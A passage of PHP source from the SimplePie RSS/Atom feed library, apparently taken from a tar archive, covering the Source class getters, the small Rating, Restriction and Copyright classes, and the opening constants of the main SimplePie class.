            $categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }

        if (!empty($categories)) {
            return array_unique($categories);
        }

        return null;
    }

    /**
     * @param int $key
     * @return Author|null
     */
    public function get_author(int $key = 0)
    {
        $authors = $this->get_authors();
        if (isset($authors[$key])) {
            return $authors[$key];
        }

        return null;
    }

    /**
     * @return array<Author>|null
     */
    public function get_authors()
    {
        $authors = [];
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'author') as $author) {
            $name = null;
            $uri = null;
            $email = null;
            if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'])) {
                $name = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
                $uri = $author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0];
                $uri = $this->sanitize($uri['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($uri));
            }
            if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'])) {
                $email = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $uri !== null) {
                $authors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
            }
        }
        if ($author = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'author')) {
            $name = null;
            $url = null;
            $email = null;
            if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'])) {
                $name = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'])) {
                $url = $author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0];
                $url = $this->sanitize($url['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($url));
            }
            if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'])) {
                $email = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $url !== null) {
                $authors[] = $this->registry->create(Author::class, [$name, $url, $email]);
            }
        }
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'creator') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'creator') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'author') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }

        if (!empty($authors)) {
            return array_unique($authors);
        }

        return null;
    }

    /**
     * @param int $key
     * @return Author|null
     */
    public function get_contributor(int $key = 0)
    {
        $contributors = $this->get_contributors();
        if (isset($contributors[$key])) {
            return $contributors[$key];
        }

        return null;
    }

    /**
     * @return array<Author>|null
     */
    public function get_contributors()
    {
        $contributors = [];
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'contributor') as $contributor) {
            $name = null;
            $uri = null;
            $email = null;
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'])) {
                $name = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
                $uri = $contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0];
                $uri = $this->sanitize($uri['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($uri));
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'])) {
                $email = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $uri !== null) {
                $contributors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
            }
        }
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'contributor') as $contributor) {
            $name = null;
            $url = null;
            $email = null;
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'])) {
                $name = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'])) {
                $url = $contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0];
                $url = $this->sanitize($url['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($url));
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'])) {
                $email = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $url !== null) {
                $contributors[] = $this->registry->create(Author::class, [$name, $url, $email]);
            }
        }

        if (!empty($contributors)) {
            return array_unique($contributors);
        }

        return null;
    }

    /**
     * @param int $key
     * @param string $rel
     * @return string|null
     */
    public function get_link(int $key = 0, string $rel = 'alternate')
    {
        $links = $this->get_links($rel);
        if (isset($links[$key])) {
            return $links[$key];
        }

        return null;
    }

    /**
     * Added for parity between the parent-level and the item/entry-level.
     *
     * @return string|null
     */
    public function get_permalink()
    {
        return $this->get_link(0);
    }

    /**
     * @param string $rel
     * @return array<string>|null
     */
    public function get_links(string $rel = 'alternate')
    {
        if (!isset($this->data['links'])) {
            $this->data['links'] = [];
            if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'link')) {
                foreach ($links as $link) {
                    if (isset($link['attribs']['']['href'])) {
                        $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
                        $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($link));
                    }
                }
            }
            if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'link')) {
                foreach ($links as $link) {
                    if (isset($link['attribs']['']['href'])) {
                        $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
                        $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($link));
                    }
                }
            }
            if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0]));
            }
            if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0]));
            }
            if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0]));
            }

            $keys = array_keys($this->data['links']);
            foreach ($keys as $key) {
                $key = (string) $key;

                if ($this->registry->call(Misc::class, 'is_isegment_nz_nc', [$key])) {
                    if (isset($this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key])) {
                        $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key]);
                        $this->data['links'][$key] = &$this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key];
                    } else {
                        $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key] = &$this->data['links'][$key];
                    }
                } elseif (substr($key, 0, 41) === \SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY) {
                    $this->data['links'][substr($key, 41)] = &$this->data['links'][$key];
                }
                $this->data['links'][$key] = array_unique($this->data['links'][$key]);
            }
        }

        if (isset($this->data['links'][$rel])) {
            return $this->data['links'][$rel];
        }

        return null;
    }

    /**
     * @return string|null
     */
    public function get_description()
    {
        if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'subtitle')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'tagline')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'description')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'description')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'description')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'description')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'description')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'summary')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'subtitle')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($return[0]));
        }

        return null;
    }

    /**
     * @return string|null
     */
    public function get_copyright()
    {
        if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'rights')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'copyright')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'copyright')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'rights')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'rights')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        }

        return null;
    }

    /**
     * @return string|null
     */
    public function get_language()
    {
        if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'language')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'language')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'language')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif (isset($this->data['xml_lang'])) {
            return $this->sanitize($this->data['xml_lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        }

        return null;
    }

    /**
     * @return float|null
     */
    public function get_latitude()
    {
        if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'lat')) {
            return (float) $return[0]['data'];
        } elseif (($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
            return (float) $match[1];
        }

        return null;
    }

    /**
     * @return float|null
     */
    public function get_longitude()
    {
        if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'long')) {
            return (float) $return[0]['data'];
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'lon')) {
            return (float) $return[0]['data'];
        } elseif (($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
            return (float) $match[2];
        }

        return null;
    }

    /**
     * @return string|null
     */
    public function get_image_url()
    {
        if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'image')) {
            return $this->sanitize($return[0]['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'logo')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'icon')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($return[0]));
        }

        return null;
    }
}

class_alias('SimplePie\Source', 'SimplePie_Source');
Rating.php000064400000003402151450001630006473 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

/**
 * Handles `<media:rating>` or `<itunes:explicit>` tags as defined in Media RSS and iTunes RSS respectively
 *
 * Used by {@see \SimplePie\Enclosure::get_rating()} and {@see \SimplePie\Enclosure::get_ratings()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_rating_class()}
 */
class Rating
{
    /**
     * Rating scheme
     *
     * @var ?string
     * @see get_scheme()
     */
    public $scheme;

    /**
     * Rating value
     *
     * @var ?string
     * @see get_value()
     */
    public $value;

    /**
     * Constructor, used to input the data
     *
     * For documentation on all the parameters, see the corresponding
     * properties and their accessors
     */
    public function __construct(
        ?string $scheme = null,
        ?string $value = null
    ) {
        $this->scheme = $scheme;
        $this->value = $value;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the organizational scheme for the rating
     *
     * @return string|null
     */
    public function get_scheme()
    {
        if ($this->scheme !== null) {
            return $this->scheme;
        }

        return null;
    }

    /**
     * Get the value of the rating
     *
     * @return string|null
     */
    public function get_value()
    {
        if ($this->value !== null) {
            return $this->value;
        }

        return null;
    }
}

class_alias('SimplePie\Rating', 'SimplePie_Rating');
Restriction.php000064400000004501151450001630007555 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

/**
 * Handles `<media:restriction>` as defined in Media RSS
 *
 * Used by {@see \SimplePie\Enclosure::get_restriction()} and {@see \SimplePie\Enclosure::get_restrictions()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_restriction_class()}
 */
class Restriction
{
    public const RELATIONSHIP_ALLOW = 'allow';
    public const RELATIONSHIP_DENY = 'deny';

    /**
     * Relationship ('allow'/'deny')
     *
     * @var self::RELATIONSHIP_*|null
     * @see get_relationship()
     */
    public $relationship;

    /**
     * Type of restriction
     *
     * @var string|null
     * @see get_type()
     */
    public $type;

    /**
     * Restricted values
     *
     * @var string|null
     * @see get_value()
     */
    public $value;

    /**
     * Constructor, used to input the data
     *
     * For documentation on all the parameters, see the corresponding
     * properties and their accessors
     *
     * @param ?self::RELATIONSHIP_* $relationship
     */
    public function __construct(?string $relationship = null, ?string $type = null, ?string $value = null)
    {
        $this->relationship = $relationship;
        $this->type = $type;
        $this->value = $value;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the relationship
     *
     * @return ?self::RELATIONSHIP_*
     */
    public function get_relationship()
    {
        if ($this->relationship !== null) {
            return $this->relationship;
        }

        return null;
    }

    /**
     * Get the type
     *
     * @return string|null
     */
    public function get_type()
    {
        if ($this->type !== null) {
            return $this->type;
        }

        return null;
    }

    /**
     * Get the list of restricted things
     *
     * @return string|null
     */
    public function get_value()
    {
        if ($this->value !== null) {
            return $this->value;
        }

        return null;
    }
}

class_alias('SimplePie\Restriction', 'SimplePie_Restriction');
Copyright.php000064400000003262151450001630007223 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

/**
 * Manages `<media:copyright>` copyright tags as defined in Media RSS
 *
 * Used by {@see \SimplePie\Enclosure::get_copyright()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_copyright_class()}
 */
class Copyright
{
    /**
     * Copyright URL
     *
     * @var ?string
     * @see get_url()
     */
    public $url;

    /**
     * Attribution
     *
     * @var ?string
     * @see get_attribution()
     */
    public $label;

    /**
     * Constructor, used to input the data
     *
     * For documentation on all the parameters, see the corresponding
     * properties and their accessors
     */
    public function __construct(
        ?string $url = null,
        ?string $label = null
    ) {
        $this->url = $url;
        $this->label = $label;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the copyright URL
     *
     * @return string|null URL to copyright information
     */
    public function get_url()
    {
        if ($this->url !== null) {
            return $this->url;
        }

        return null;
    }

    /**
     * Get the attribution text
     *
     * @return string|null
     */
    public function get_attribution()
    {
        if ($this->label !== null) {
            return $this->label;
        }

        return null;
    }
}

class_alias('SimplePie\Copyright', 'SimplePie_Copyright');
SimplePie.php000064400000372064151450001630007153 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

use InvalidArgumentException;
use Psr\Http\Client\ClientInterface;
use Psr\Http\Message\RequestFactoryInterface;
use Psr\Http\Message\UriFactoryInterface;
use Psr\SimpleCache\CacheInterface;
use SimplePie\Cache\Base;
use SimplePie\Cache\BaseDataCache;
use SimplePie\Cache\CallableNameFilter;
use SimplePie\Cache\DataCache;
use SimplePie\Cache\NameFilter;
use SimplePie\Cache\Psr16;
use SimplePie\Content\Type\Sniffer;
use SimplePie\Exception as SimplePieException;
use SimplePie\HTTP\Client;
use SimplePie\HTTP\ClientException;
use SimplePie\HTTP\FileClient;
use SimplePie\HTTP\Psr18Client;
use SimplePie\HTTP\Response;

/**
 * SimplePie
 */
class SimplePie
{
    /**
     * SimplePie Name
     */
    public const NAME = 'SimplePie';

    /**
     * SimplePie Version
     */
    public const VERSION = '1.9.0';

    /**
     * SimplePie Website URL
     */
    public const URL = 'http://simplepie.org';

    /**
     * SimplePie Linkback
     */
    public const LINKBACK = '<a href="' . self::URL . '" title="' . self::NAME . ' ' . self::VERSION . '">' . self::NAME . '</a>';

    /**
     * No Autodiscovery
     * @see SimplePie::set_autodiscovery_level()
     */
    public const LOCATOR_NONE = 0;

    /**
     * Feed Link Element Autodiscovery
     * @see SimplePie::set_autodiscovery_level()
     */
    public const LOCATOR_AUTODISCOVERY = 1;

    /**
     * Local Feed Extension Autodiscovery
     * @see SimplePie::set_autodiscovery_level()
     */
    public const LOCATOR_LOCAL_EXTENSION = 2;

    /**
     * Local Feed Body Autodiscovery
     * @see SimplePie::set_autodiscovery_level()
     */
    public const LOCATOR_LOCAL_BODY = 4;

    /**
     * Remote Feed Extension Autodiscovery
     * @see SimplePie::set_autodiscovery_level()
     */
    public const LOCATOR_REMOTE_EXTENSION = 8;

    /**
     * Remote Feed Body Autodiscovery
     * @see SimplePie::set_autodiscovery_level()
     */
    public const LOCATOR_REMOTE_BODY = 16;

    /**
     * All Feed Autodiscovery
     * @see SimplePie::set_autodiscovery_level()
     */
    public const LOCATOR_ALL = 31;

    /**
     * No known feed type
     */
    public const TYPE_NONE = 0;

    /**
     * RSS 0.90
     */
    public const TYPE_RSS_090 = 1;

    /**
     * RSS 0.91 (Netscape)
     */
    public const TYPE_RSS_091_NETSCAPE = 2;

    /**
     * RSS 0.91 (Userland)
     */
    public const TYPE_RSS_091_USERLAND = 4;

    /**
     * RSS 0.91 (both Netscape and Userland)
     */
    public const TYPE_RSS_091 = 6;

    /**
     * RSS 0.92
     */
    public const TYPE_RSS_092 = 8;

    /**
     * RSS 0.93
     */
    public const TYPE_RSS_093 = 16;

    /**
     * RSS 0.94
     */
    public const TYPE_RSS_094 = 32;

    /**
     * RSS 1.0
     */
    public const TYPE_RSS_10 = 64;

    /**
     * RSS 2.0
     */
    public const TYPE_RSS_20 = 128;

    /**
     * RDF-based RSS
     */
    public const TYPE_RSS_RDF = 65;

    /**
     * Non-RDF-based RSS (truly intended as syndication format)
     */
    public const TYPE_RSS_SYNDICATION = 190;

    /**
     * All RSS
     */
    public const TYPE_RSS_ALL = 255;

    /**
     * Atom 0.3
     */
    public const TYPE_ATOM_03 = 256;

    /**
     * Atom 1.0
     */
    public const TYPE_ATOM_10 = 512;

    /**
     * All Atom
     */
    public const TYPE_ATOM_ALL = 768;

    /**
     * All feed types
     */
    public const TYPE_ALL = 1023;

    /**
     * No construct
     */
    public const CONSTRUCT_NONE = 0;

    /**
     * Text construct
     */
    public const CONSTRUCT_TEXT = 1;

    /**
     * HTML construct
     */
    public const CONSTRUCT_HTML = 2;

    /**
     * XHTML construct
     */
    public const CONSTRUCT_XHTML = 4;

    /**
     * base64-encoded construct
     */
    public const CONSTRUCT_BASE64 = 8;

    /**
     * IRI construct
     */
    public const CONSTRUCT_IRI = 16;

    /**
     * A construct that might be HTML
     */
    public const CONSTRUCT_MAYBE_HTML = 32;

    /**
     * All constructs
     */
    public const CONSTRUCT_ALL = 63;

    /**
     * Don't change case
     */
    public const SAME_CASE = 1;

    /**
     * Change to lowercase
     */
    public const LOWERCASE = 2;

    /**
     * Change to uppercase
     */
    public const UPPERCASE = 4;

    /**
     * PCRE for HTML attributes
     */
    public const PCRE_HTML_ATTRIBUTE = '((?:[\x09\x0A\x0B\x0C\x0D\x20]+[^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"(?:[^"]*)"|\'(?:[^\']*)\'|(?:[^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?)*)[\x09\x0A\x0B\x0C\x0D\x20]*';

    /**
     * PCRE for XML attributes
     */
    public const PCRE_XML_ATTRIBUTE = '((?:\s+(?:(?:[^\s:]+:)?[^\s:]+)\s*=\s*(?:"(?:[^"]*)"|\'(?:[^\']*)\'))*)\s*';

    /**
     * XML Namespace
     */
    public const NAMESPACE_XML = 'http://www.w3.org/XML/1998/namespace';

    /**
     * Atom 1.0 Namespace
     */
    public const NAMESPACE_ATOM_10 = 'http://www.w3.org/2005/Atom';

    /**
     * Atom 0.3 Namespace
     */
    public const NAMESPACE_ATOM_03 = 'http://purl.org/atom/ns#';

    /**
     * RDF Namespace
     */
    public const NAMESPACE_RDF = 'http://www.w3.org/1999/02/22-rdf-syntax-ns#';

    /**
     * RSS 0.90 Namespace
     */
    public const NAMESPACE_RSS_090 = 'http://my.netscape.com/rdf/simple/0.9/';

    /**
     * RSS 1.0 Namespace
     */
    public const NAMESPACE_RSS_10 = 'http://purl.org/rss/1.0/';

    /**
     * RSS 1.0 Content Module Namespace
     */
    public const NAMESPACE_RSS_10_MODULES_CONTENT = 'http://purl.org/rss/1.0/modules/content/';

    /**
     * RSS 2.0 Namespace
     * (Stupid, I know, but I'm certain it will confuse people less with support.)
     */
    public const NAMESPACE_RSS_20 = '';

    /**
     * DC 1.0 Namespace
     */
    public const NAMESPACE_DC_10 = 'http://purl.org/dc/elements/1.0/';

    /**
     * DC 1.1 Namespace
     */
    public const NAMESPACE_DC_11 = 'http://purl.org/dc/elements/1.1/';

    /**
     * W3C Basic Geo (WGS84 lat/long) Vocabulary Namespace
     */
    public const NAMESPACE_W3C_BASIC_GEO = 'http://www.w3.org/2003/01/geo/wgs84_pos#';

    /**
     * GeoRSS Namespace
     */
    public const NAMESPACE_GEORSS = 'http://www.georss.org/georss';

    /**
     * Media RSS Namespace
     */
    public const NAMESPACE_MEDIARSS = 'http://search.yahoo.com/mrss/';

    /**
     * Wrong Media RSS Namespace. Caused by a long-standing typo in the spec.
     */
    public const NAMESPACE_MEDIARSS_WRONG = 'http://search.yahoo.com/mrss';

    /**
     * Wrong Media RSS Namespace #2. New namespace introduced in Media RSS 1.5.
     */
    public const NAMESPACE_MEDIARSS_WRONG2 = 'http://video.search.yahoo.com/mrss';

    /**
     * Wrong Media RSS Namespace #3. A possible typo of the Media RSS 1.5 namespace.
     */
    public const NAMESPACE_MEDIARSS_WRONG3 = 'http://video.search.yahoo.com/mrss/';

    /**
     * Wrong Media RSS Namespace #4. New spec location after the RSS Advisory Board takes it over, but not a valid namespace.
     */
    public const NAMESPACE_MEDIARSS_WRONG4 = 'http://www.rssboard.org/media-rss';

    /**
     * Wrong Media RSS Namespace #5. A possible typo of the RSS Advisory Board URL.
     */
    public const NAMESPACE_MEDIARSS_WRONG5 = 'http://www.rssboard.org/media-rss/';

    /**
     * iTunes RSS Namespace
     */
    public const NAMESPACE_ITUNES = 'http://www.itunes.com/dtds/podcast-1.0.dtd';

    /**
     * XHTML Namespace
     */
    public const NAMESPACE_XHTML = 'http://www.w3.org/1999/xhtml';

    /**
     * IANA Link Relations Registry
     */
    public const IANA_LINK_RELATIONS_REGISTRY = 'http://www.iana.org/assignments/relation/';

    /**
     * No file source
     */
    public const FILE_SOURCE_NONE = 0;

    /**
     * Remote file source
     */
    public const FILE_SOURCE_REMOTE = 1;

    /**
     * Local file source
     */
    public const FILE_SOURCE_LOCAL = 2;

    /**
     * fsockopen() file source
     */
    public const FILE_SOURCE_FSOCKOPEN = 4;

    /**
     * cURL file source
     */
    public const FILE_SOURCE_CURL = 8;

    /**
     * file_get_contents() file source
     */
    public const FILE_SOURCE_FILE_GET_CONTENTS = 16;

    /**
     * @internal Default value of the HTTP Accept header when fetching/locating feeds
     */
    public const DEFAULT_HTTP_ACCEPT_HEADER = 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1';

    /**
     * @var array<string, mixed> Raw data
     * @access private
     */
    public $data = [];

    /**
     * @var string|string[]|null Error string (or array when multiple feeds are initialized)
     * @access private
     */
    public $error = null;

    /**
     * @var int HTTP status code
     * @see SimplePie::status_code()
     * @access private
     */
    public $status_code = 0;

    /**
     * @var Sanitize instance of Sanitize class
     * @see SimplePie::set_sanitize_class()
     * @access private
     */
    public $sanitize;

    /**
     * @var string SimplePie Useragent
     * @see SimplePie::set_useragent()
     * @access private
     */
    public $useragent = '';

    /**
     * @var string Feed URL
     * @see SimplePie::set_feed_url()
     * @access private
     */
    public $feed_url;

    /**
     * @var ?string Original feed URL, or new feed URL iff HTTP 301 Moved Permanently
     * @see SimplePie::subscribe_url()
     * @access private
     */
    public $permanent_url = null;

